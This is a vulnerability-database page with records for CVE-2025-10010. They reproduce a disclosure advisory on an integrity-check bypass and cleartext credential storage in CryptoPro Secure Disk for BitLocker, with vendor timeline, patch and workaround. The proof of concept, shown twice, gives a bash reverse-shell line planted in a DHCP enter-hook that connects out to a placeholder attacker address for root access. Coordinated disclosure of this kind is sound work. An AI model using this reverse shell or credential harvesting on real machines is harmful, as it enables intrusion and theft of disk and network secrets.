Search
Find a vulnerability
Search criteria
ⓘ
Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.
3 vulnerabilities by cpsd
GCVE-1988-2026-0214
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-09 13:40
VLAI
EPSS
VEX
Title
SEC Consult SA-20260224-0 :: Multiple vulnerabilities in CPSD CryptoPro Secure Disk for BitLocker (CVE-2025-10010)
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260224-0 >
=======================================================================
title: Multiple vulnerabilities
product: CPSD CryptoPro Secure Disk for BitLocker
vulnerable version: 7.6.4.16432 (76212)
fixed version: 7.6.6 / 7.7.1
CVE number: CVE-2025-10010
impact: high
homepage:https://www.cpsd.at
found: 2025-04-14
by: Gorazd Jank (Office Vienna)
Stefan Viehböck
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
(German)
"Das Team von CPSD entwickelt hochwertige Verschlüsselungslösungen für
sicherheitsbewusste Unternehmen. Seit über 15 Jahren stehen die CryptoPro
Produkte für beste Kundenzufriedenheit durch einen ausgewogenen Mix aus
Sicherheit, Benutzerkomfort und minimale Verwaltung.
Ihre Sicherheitsanforderungen sind bei unseren Experten in besten Händen.
Die Erfahrung aus zahlreichen Kryptographie-Projekten teilen wir gerne und
empfehlen die optimale Verschlüsselungsstrategie. Lassen Sie sich von den
Vorteilen inspirieren!"
Source:https://www.cpsd.at/
Business recommendation:
------------------------
The vendor provides patches (7.6.6/7.7.1) for the affected software which
should be installed immediately if the devices are not already patched.
In cases where patching is not feasible it is possible to encrypt the PBA
partition to prevent changes. For detailed information see chapter
Workaround below.
SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.
Vulnerability overview/description:
-----------------------------------
1) Integrity Validation Bypass (CVE-2025-10010)
The CryptoPro Secure Disk application boots a small Linux operating system
to perform user authentication before using BitLocker to decrypt the Windows
partition. The system is located on a separate unencrypted partition which can
be reached by anyone with access to the hard disk.
Multiple checks are performed to validate the integrity of the Linux operating
system and the CryptoPro Secure Disk application files. When files are changed
an error is shown on system start. One of the checks is the Linux kernel's
Integrity Measurement Architecture (IMA). It was identified that configuration
files are not validated by the IMA and can then (if not checked by other
measures) be changed. This allows an attacker to execute arbitrary code in the
context of the root user and enables an attacker to e.g., plant a backdoor
and access data during execution.
2) Cleartext storage of sensitive data
CryptoPro Secure Disk allows users who have forgotten their credentials to
contact offline as well as online support. The online version needs to
establish a connection to the support server. For this purpose, it may connect
to a predefined LAN or WLAN.
If secrets (e.g., certificates, passwords, etc.) are needed to access these
networks the corresponding configurations and files are stored in the /tmp
folder in clear text. An attacker with access to the Linux operating system can
read the secrets and use them to potentially connect to an internal network.
Proof of concept:
-----------------
1) Integrity Validation Bypass (CVE-2025-10010)
An attacker can access the unencrypted partition on the hard disk by either
booting from an external medium (e.g., USB) or by removing the hard disk and
mounting it to another system. No authentication is needed.
To bypass the IMA and get arbitrary code execution an editable configuration
file is needed which supports the execution of code and will be executed by
the system. A service meeting these preconditions is the Dynamic Host
Configuration Protocol Daemon (dhcpd). It supports Enter- and Exit-Hooks,
which are basically bash scripts which are executed when the dhcpd service is
started or respectively exited. They are being called after the initiation of
the Linux operating system.
The vulnerability can be exploited by setting up a DHCP Enter-Hook with a reverse
shell. This can be done by generating the file /etc/dhcpcd.enter-hook with
following content:
------------------------------------------------------------------------------
#!/bin/bash
bash -c 'exec bash -i &>/dev/tcp/192.168.XXX.XXX/9999 <&1' &
------------------------------------------------------------------------------
The host and the receiver of the reverse shell must be connected to each other
e.g., using a router. After the restart of the host machine a connection is
opened to the attacker's host resulting in a reverse shell with root
privileges.
2) Cleartext storage of sensitive data
To exploit this vulnerability, access to the running CryptoPro Secure system is
needed e.g., through a reverse shell. When the online support is used, the
credentials for the network are stored in clear text in the /tmp folder.
Accessing it after the start of the application – without user interaction -
is sufficient to access this information.
The figure below shows certificates as well as configuration containing clear
text credentials for the certificates. It contains the user certificate
(host.pem) and user private key (priv.pem) including the clear text password,
which can be found inside of the "wlan_supplicant_conf.wlan0" file.
There is also a tls_certs.pfx file with clear text password without
known usage. This would allow an attacker to access a user WLAN and / or
bypass 802.1x protection.
<issue2_poc_cleartext_storage_01.png>
Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available
at the time of the test:
* 7.6.4.16432 (76212)
Vendor contact timeline:
------------------------
2025-06-04: Contacting vendor throughsupport () cpsd at
2025-06-04: Quick vendor response with request for information.
2025-06-10: Submission of advisory via secure platform.
2025-06-24: Response from vendor with workaround. Vendor-Clients will be informed
and final fix will be released with version 7.6.6 / 7.7.1.
2025-06-27: Following up regarding the proposed fixed by the vendor regarding
checksums.
2025-07-25: Information to vendor about start of advisory publication, sending
current advisory draft to vendor.
2025-08-05: Vendor proposes adding the workaround to the business recommendation
section.
2025-09-06: Asking the vendor when the patches have been provided to the customers.
2025-09-08: Reserving CVE-2025-10010. Vendor is still clarifying status with
customers, requests delay of publication for a few months.
Patch information was provided to customers on 12th August.
2026-02-19: Informing vendor about upcoming advisory release.
2026-02-24: Public release of security advisory.
Solution:
---------
The vendor provides a patch with version 7.6.6 / 7.7.1.
Encryption is activated by default starting with version 7.7.
Workaround:
-----------
Encryption of the PBA partition is possible (since version 7.6.0) and
prevents changing of the files as described in the advisory. Encryption
can be activated via "Client Security/Verschiedenes/PBA Linux Partition
verschlüsseln". Clients will be informed by the vendor about the risk if
the PBA partition is not encrypted.
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:https://blog.sec-consult.com
X:https://x.com/sec_consult
EOF Gorazd Jank / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
12 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Cpsd | SEC Consult SA-20260224-0 |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0214 (this record)
- related CVE-2025-10010
{
"containers": {
"cna": {
"affected": [
{
"product": "SEC Consult SA-20260224-0",
"vendor": "Cpsd",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "SEC Consult Vulnerability Lab via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260224-0 \u003e\n=======================================================================\n title: Multiple vulnerabilities\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: CPSD CryptoPro Secure Disk for BitLocker\n\u00a0vulnerable version: 7.6.4.16432 (76212)\n fixed version: 7.6.6 / 7.7.1\n CVE number: CVE-2025-10010\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0homepage:https://www.cpsd.at\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2025-04-14\n by: Gorazd Jank (Office Vienna)\n Stefan Viehb\u00f6ck\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n(German)\n\"Das Team von CPSD entwickelt hochwertige Verschl\u00fcsselungsl\u00f6sungen f\u00fcr\nsicherheitsbewusste Unternehmen. Seit \u00fcber 15 Jahren stehen die CryptoPro\nProdukte f\u00fcr beste Kundenzufriedenheit durch einen ausgewogenen Mix aus\nSicherheit, Benutzerkomfort und minimale Verwaltung.\n\nIhre Sicherheitsanforderungen sind bei unseren Experten in besten H\u00e4nden.\nDie Erfahrung aus zahlreichen Kryptographie-Projekten teilen wir gerne und\nempfehlen die optimale Verschl\u00fcsselungsstrategie. Lassen Sie sich von den\nVorteilen inspirieren!\"\n\nSource:https://www.cpsd.at/\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides patches (7.6.6/7.7.1) for the affected software which\nshould be installed immediately if the devices are not already patched.\n\nIn cases where patching is not feasible it is possible to encrypt the PBA\npartition to prevent changes. For detailed information see chapter\nWorkaround below.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Integrity Validation Bypass (CVE-2025-10010)\nThe CryptoPro Secure Disk application boots a small Linux operating system\nto perform user authentication before using BitLocker to decrypt the Windows\npartition. The system is located on a separate unencrypted partition which can\nbe reached by anyone with access to the hard disk.\n\nMultiple checks are performed to validate the integrity of the Linux operating\nsystem and the CryptoPro Secure Disk application files. When files are changed\nan error is shown on system start. One of the checks is the Linux kernel\u0027s\nIntegrity Measurement Architecture (IMA). It was identified that configuration\nfiles are not validated by the IMA and can then (if not checked by other\nmeasures) be changed. This allows an attacker to execute arbitrary code in the\ncontext of the root user and enables an attacker to e.g., plant a backdoor\nand access data during execution.\n\n2) Cleartext storage of sensitive data\nCryptoPro Secure Disk allows users who have forgotten their credentials to\ncontact offline as well as online support. The online version needs to\nestablish a connection to the support server. For this purpose, it may connect\nto a predefined LAN or WLAN.\n\nIf secrets (e.g., certificates, passwords, etc.) are needed to access these\nnetworks the corresponding configurations and files are stored in the /tmp\nfolder in clear text. An attacker with access to the Linux operating system can\nread the secrets and use them to potentially connect to an internal network.\n\n\nProof of concept:\n-----------------\n1) Integrity Validation Bypass (CVE-2025-10010)\nAn attacker can access the unencrypted partition on the hard disk by either\nbooting from an external medium (e.g., USB) or by removing the hard disk and\nmounting it to another system. No authentication is needed.\n\nTo bypass the IMA and get arbitrary code execution an editable configuration\nfile is needed which supports the execution of code and will be executed by\nthe system. A service meeting these preconditions is the Dynamic Host\nConfiguration Protocol Daemon (dhcpd). It supports Enter- and Exit-Hooks,\nwhich are basically bash scripts which are executed when the dhcpd service is\nstarted or respectively exited. They are being called after the initiation of\nthe Linux operating system.\n\nThe vulnerability can be exploited by setting up a DHCP Enter-Hook with a reverse\nshell. This can be done by generating the file /etc/dhcpcd.enter-hook with\nfollowing content:\n\n------------------------------------------------------------------------------\n#!/bin/bash\n\nbash -c \u0027exec bash -i \u0026\u003e/dev/tcp/192.168.XXX.XXX/9999 \u003c\u00261\u0027 \u0026\n------------------------------------------------------------------------------\n\nThe host and the receiver of the reverse shell must be connected to each other\ne.g., using a router. After the restart of the host machine a connection is\nopened to the attacker\u0027s host resulting in a reverse shell with root\nprivileges.\n\n\n2) Cleartext storage of sensitive data\nTo exploit this vulnerability, access to the running CryptoPro Secure system is\nneeded e.g., through a reverse shell. When the online support is used, the\ncredentials for the network are stored in clear text in the /tmp folder.\nAccessing it after the start of the application \u2013 without user interaction -\nis sufficient to access this information.\n\nThe figure below shows certificates as well as configuration containing clear\ntext credentials for the certificates. It contains the user certificate\n(host.pem) and user private key (priv.pem) including the clear text password,\nwhich can be found inside of the \"wlan_supplicant_conf.wlan0\" file.\nThere is also a tls_certs.pfx file with clear text password without\nknown usage. This would allow an attacker to access a user WLAN and / or\nbypass 802.1x protection.\n\n\u003cissue2_poc_cleartext_storage_01.png\u003e\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 7.6.4.16432 (76212)\n\n\nVendor contact timeline:\n------------------------\n2025-06-04: Contacting vendor throughsupport () cpsd at\n2025-06-04: Quick vendor response with request for information.\n2025-06-10: Submission of advisory via secure platform.\n2025-06-24: Response from vendor with workaround. Vendor-Clients will be informed\n and final fix will be released with version 7.6.6 / 7.7.1.\n2025-06-27: Following up regarding the proposed fixed by the vendor regarding\n checksums.\n2025-07-25: Information to vendor about start of advisory publication, sending\n current advisory draft to vendor.\n2025-08-05: Vendor proposes adding the workaround to the business recommendation\n section.\n2025-09-06: Asking the vendor when the patches have been provided to the customers.\n2025-09-08: Reserving CVE-2025-10010. Vendor is still clarifying status with\n customers, requests delay of publication for a few months.\n Patch information was provided to customers on 12th August.\n2026-02-19: Informing vendor about upcoming advisory release.\n2026-02-24: Public release of security advisory.\n\n\nSolution:\n---------\nThe vendor provides a patch with version 7.6.6 / 7.7.1.\nEncryption is activated by default starting with version 7.7.\n\n\nWorkaround:\n-----------\nEncryption of the PBA partition is possible (since version 7.6.0) and\nprevents changing of the files as described in the advisory. Encryption\ncan be activated via \"Client Security/Verschiedenes/PBA Linux Partition\nverschl\u00fcsseln\". Clients will be informed by the vendor about the risk if\nthe PBA partition is not encrypted.\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Gorazd Jank / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:40:14Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/0"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Mar/0"
},
{
"url": "https://blog.sec-consult.com"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://sec-consult.com/career/"
},
{
"url": "https://sec-consult.com/contact/"
},
{
"url": "https://sec-consult.com/vulnerability-lab/"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.cpsd.at"
},
{
"url": "https://www.cpsd.at/"
},
{
"url": "https://www.sec-consult.com"
},
{
"url": "https://x.com/sec_consult"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Mar/0"
],
"discovery": "EXTERNAL"
},
"title": "SEC Consult SA-20260224-0 :: Multiple vulnerabilities in CPSD CryptoPro Secure Disk for BitLocker (CVE-2025-10010)",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2025-10010",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0214",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/0",
"automated": true,
"contentSha256": "06646923265364884f23de6061a208ca5336a6ce6df0f164adc106a752bb17e1",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Mar/0",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-02-24T13:56:42Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0214"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:42Z",
"dateUpdated": "2026-09-09T13:40:14Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0214"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-10010 (GCVE-0-2025-10010)
Vulnerability from nvd – Published: 2026-02-24 14:13 – Updated: 2026-03-12 23:06
VLAI
EPSS
VEX
Title
Integrity Validation Bypass in CryptoPro Secure Disk for BitLocker
Summary
The CPSD CryptoPro Secure Disk application boots a small Linux operating system to perform user authentication before using BitLocker to decrypt the Windows partition. The system is located on a separate unencrypted partition which can be reached by anyone with access to the hard disk.
Multiple checks are performed to validate the integrity of the Linux operating system and the CryptoPro Secure Disk application files. When files are changed an error is shown on system start. One of the checks is the Linux kernel's Integrity Measurement Architecture (IMA). It was identified that configuration files are not validated by the IMA and can then (if not checked by other measures) be changed. This allows an attacker to execute arbitrary code in the context of the root user and enables an attacker to e.g., plant a backdoor and access data during execution.
Severity
6.8 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-24 14:50 UTC
CWE
- CWE-353 - Missing Support for Integrity Check
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://r.sec-consult.com/cpsd | third-party-advisory |
| http://seclists.org/fulldisclosure/2026/Mar/0 |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| CPSD IT SERVICES GMBH | CryptoPro Secure Disk for BitLocker |
Affected:
<7.6.6 / 7.7.1
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "PHYSICAL",
"availabilityImpact": "HIGH",
"baseScore": 6.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2025-10010",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-24T14:50:57.464414Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-02-24T14:53:28.726Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"providerMetadata": {
"dateUpdated": "2026-03-12T23:06:38.952Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"url": "http://seclists.org/fulldisclosure/2026/Mar/0"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "CryptoPro Secure Disk for BitLocker",
"vendor": "CPSD IT SERVICES GMBH",
"versions": [
{
"status": "affected",
"version": "\u003c7.6.6 / 7.7.1"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Gorazd Jank, SEC Consult Vulnerability Lab"
},
{
"lang": "en",
"type": "finder",
"value": "Stefan Viehb\u00f6ck, SEC Consult Vulnerability Lab"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "The CPSD CryptoPro Secure Disk application boots a small Linux operating system to perform user authentication before using BitLocker to decrypt the Windows partition. The system is located on a separate unencrypted partition which can be reached by anyone with access to the hard disk.\u003cbr\u003e\u003cbr\u003eMultiple checks are performed to validate the integrity of the Linux operating system and the CryptoPro Secure Disk application files. When files are changed an error is shown on system start. One of the checks is the Linux kernel\u0027s Integrity Measurement Architecture (IMA). It was identified that configuration files are not validated by the IMA and can then (if not checked by other measures) be changed. This allows an attacker to execute arbitrary code in the context of the root user and enables an attacker to e.g., plant a backdoor and access data during execution.\u003cbr\u003e"
}
],
"value": "The CPSD CryptoPro Secure Disk application boots a small Linux operating system to perform user authentication before using BitLocker to decrypt the Windows partition. The system is located on a separate unencrypted partition which can be reached by anyone with access to the hard disk.\n\nMultiple checks are performed to validate the integrity of the Linux operating system and the CryptoPro Secure Disk application files. When files are changed an error is shown on system start. One of the checks is the Linux kernel\u0027s Integrity Measurement Architecture (IMA). It was identified that configuration files are not validated by the IMA and can then (if not checked by other measures) be changed. This allows an attacker to execute arbitrary code in the context of the root user and enables an attacker to e.g., plant a backdoor and access data during execution."
}
],
"impacts": [
{
"capecId": "CAPEC-75",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-75 Manipulating Writeable Configuration Files"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-353",
"description": "CWE-353 Missing Support for Integrity Check",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-02-24T14:13:29.155Z",
"orgId": "551230f0-3615-47bd-b7cc-93e92e730bbf",
"shortName": "SEC-VLab"
},
"references": [
{
"tags": [
"third-party-advisory"
],
"url": "https://r.sec-consult.com/cpsd"
}
],
"solutions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "The vendor provides a patch with version 7.6.6 / 7.7.1. Encryption is activated by default starting with version 7.7.\u003cbr\u003e"
}
],
"value": "The vendor provides a patch with version 7.6.6 / 7.7.1. Encryption is activated by default starting with version 7.7."
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Integrity Validation Bypass in CryptoPro Secure Disk for BitLocker",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Encryption of the PBA partition is possible (since version 7.6.0) and prevents changing of the configuration files. Encryption can be activated via \"Client Security/Verschiedenes/PBA Linux Partition verschl\u00fcsseln\". Clients will be informed by the vendor about the risk if the PBA partition is not encrypted.\u003cbr\u003e"
}
],
"value": "Encryption of the PBA partition is possible (since version 7.6.0) and prevents changing of the configuration files. Encryption can be activated via \"Client Security/Verschiedenes/PBA Linux Partition verschl\u00fcsseln\". Clients will be informed by the vendor about the risk if the PBA partition is not encrypted."
}
],
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "551230f0-3615-47bd-b7cc-93e92e730bbf",
"assignerShortName": "SEC-VLab",
"cveId": "CVE-2025-10010",
"datePublished": "2026-02-24T14:13:29.155Z",
"dateReserved": "2025-09-05T08:13:43.528Z",
"dateUpdated": "2026-03-12T23:06:38.952Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-10010 (GCVE-0-2025-10010)
Vulnerability from cvelistv5 – Published: 2026-02-24 14:13 – Updated: 2026-03-12 23:06
VLAI
EPSS
VEX
Title
Integrity Validation Bypass in CryptoPro Secure Disk for BitLocker
Summary
The CPSD CryptoPro Secure Disk application boots a small Linux operating system to perform user authentication before using BitLocker to decrypt the Windows partition. The system is located on a separate unencrypted partition which can be reached by anyone with access to the hard disk.
Multiple checks are performed to validate the integrity of the Linux operating system and the CryptoPro Secure Disk application files. When files are changed an error is shown on system start. One of the checks is the Linux kernel's Integrity Measurement Architecture (IMA). It was identified that configuration files are not validated by the IMA and can then (if not checked by other measures) be changed. This allows an attacker to execute arbitrary code in the context of the root user and enables an attacker to e.g., plant a backdoor and access data during execution.
Severity
6.8 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-24 14:50 UTC
CWE
- CWE-353 - Missing Support for Integrity Check
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://r.sec-consult.com/cpsd | third-party-advisory |
| http://seclists.org/fulldisclosure/2026/Mar/0 |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| CPSD IT SERVICES GMBH | CryptoPro Secure Disk for BitLocker |
Affected:
<7.6.6 / 7.7.1
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "PHYSICAL",
"availabilityImpact": "HIGH",
"baseScore": 6.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2025-10010",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-24T14:50:57.464414Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-02-24T14:53:28.726Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"providerMetadata": {
"dateUpdated": "2026-03-12T23:06:38.952Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"url": "http://seclists.org/fulldisclosure/2026/Mar/0"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "CryptoPro Secure Disk for BitLocker",
"vendor": "CPSD IT SERVICES GMBH",
"versions": [
{
"status": "affected",
"version": "\u003c7.6.6 / 7.7.1"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Gorazd Jank, SEC Consult Vulnerability Lab"
},
{
"lang": "en",
"type": "finder",
"value": "Stefan Viehb\u00f6ck, SEC Consult Vulnerability Lab"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "The CPSD CryptoPro Secure Disk application boots a small Linux operating system to perform user authentication before using BitLocker to decrypt the Windows partition. The system is located on a separate unencrypted partition which can be reached by anyone with access to the hard disk.\u003cbr\u003e\u003cbr\u003eMultiple checks are performed to validate the integrity of the Linux operating system and the CryptoPro Secure Disk application files. When files are changed an error is shown on system start. One of the checks is the Linux kernel\u0027s Integrity Measurement Architecture (IMA). It was identified that configuration files are not validated by the IMA and can then (if not checked by other measures) be changed. This allows an attacker to execute arbitrary code in the context of the root user and enables an attacker to e.g., plant a backdoor and access data during execution.\u003cbr\u003e"
}
],
"value": "The CPSD CryptoPro Secure Disk application boots a small Linux operating system to perform user authentication before using BitLocker to decrypt the Windows partition. The system is located on a separate unencrypted partition which can be reached by anyone with access to the hard disk.\n\nMultiple checks are performed to validate the integrity of the Linux operating system and the CryptoPro Secure Disk application files. When files are changed an error is shown on system start. One of the checks is the Linux kernel\u0027s Integrity Measurement Architecture (IMA). It was identified that configuration files are not validated by the IMA and can then (if not checked by other measures) be changed. This allows an attacker to execute arbitrary code in the context of the root user and enables an attacker to e.g., plant a backdoor and access data during execution."
}
],
"impacts": [
{
"capecId": "CAPEC-75",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-75 Manipulating Writeable Configuration Files"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-353",
"description": "CWE-353 Missing Support for Integrity Check",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-02-24T14:13:29.155Z",
"orgId": "551230f0-3615-47bd-b7cc-93e92e730bbf",
"shortName": "SEC-VLab"
},
"references": [
{
"tags": [
"third-party-advisory"
],
"url": "https://r.sec-consult.com/cpsd"
}
],
"solutions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "The vendor provides a patch with version 7.6.6 / 7.7.1. Encryption is activated by default starting with version 7.7.\u003cbr\u003e"
}
],
"value": "The vendor provides a patch with version 7.6.6 / 7.7.1. Encryption is activated by default starting with version 7.7."
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Integrity Validation Bypass in CryptoPro Secure Disk for BitLocker",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Encryption of the PBA partition is possible (since version 7.6.0) and prevents changing of the configuration files. Encryption can be activated via \"Client Security/Verschiedenes/PBA Linux Partition verschl\u00fcsseln\". Clients will be informed by the vendor about the risk if the PBA partition is not encrypted.\u003cbr\u003e"
}
],
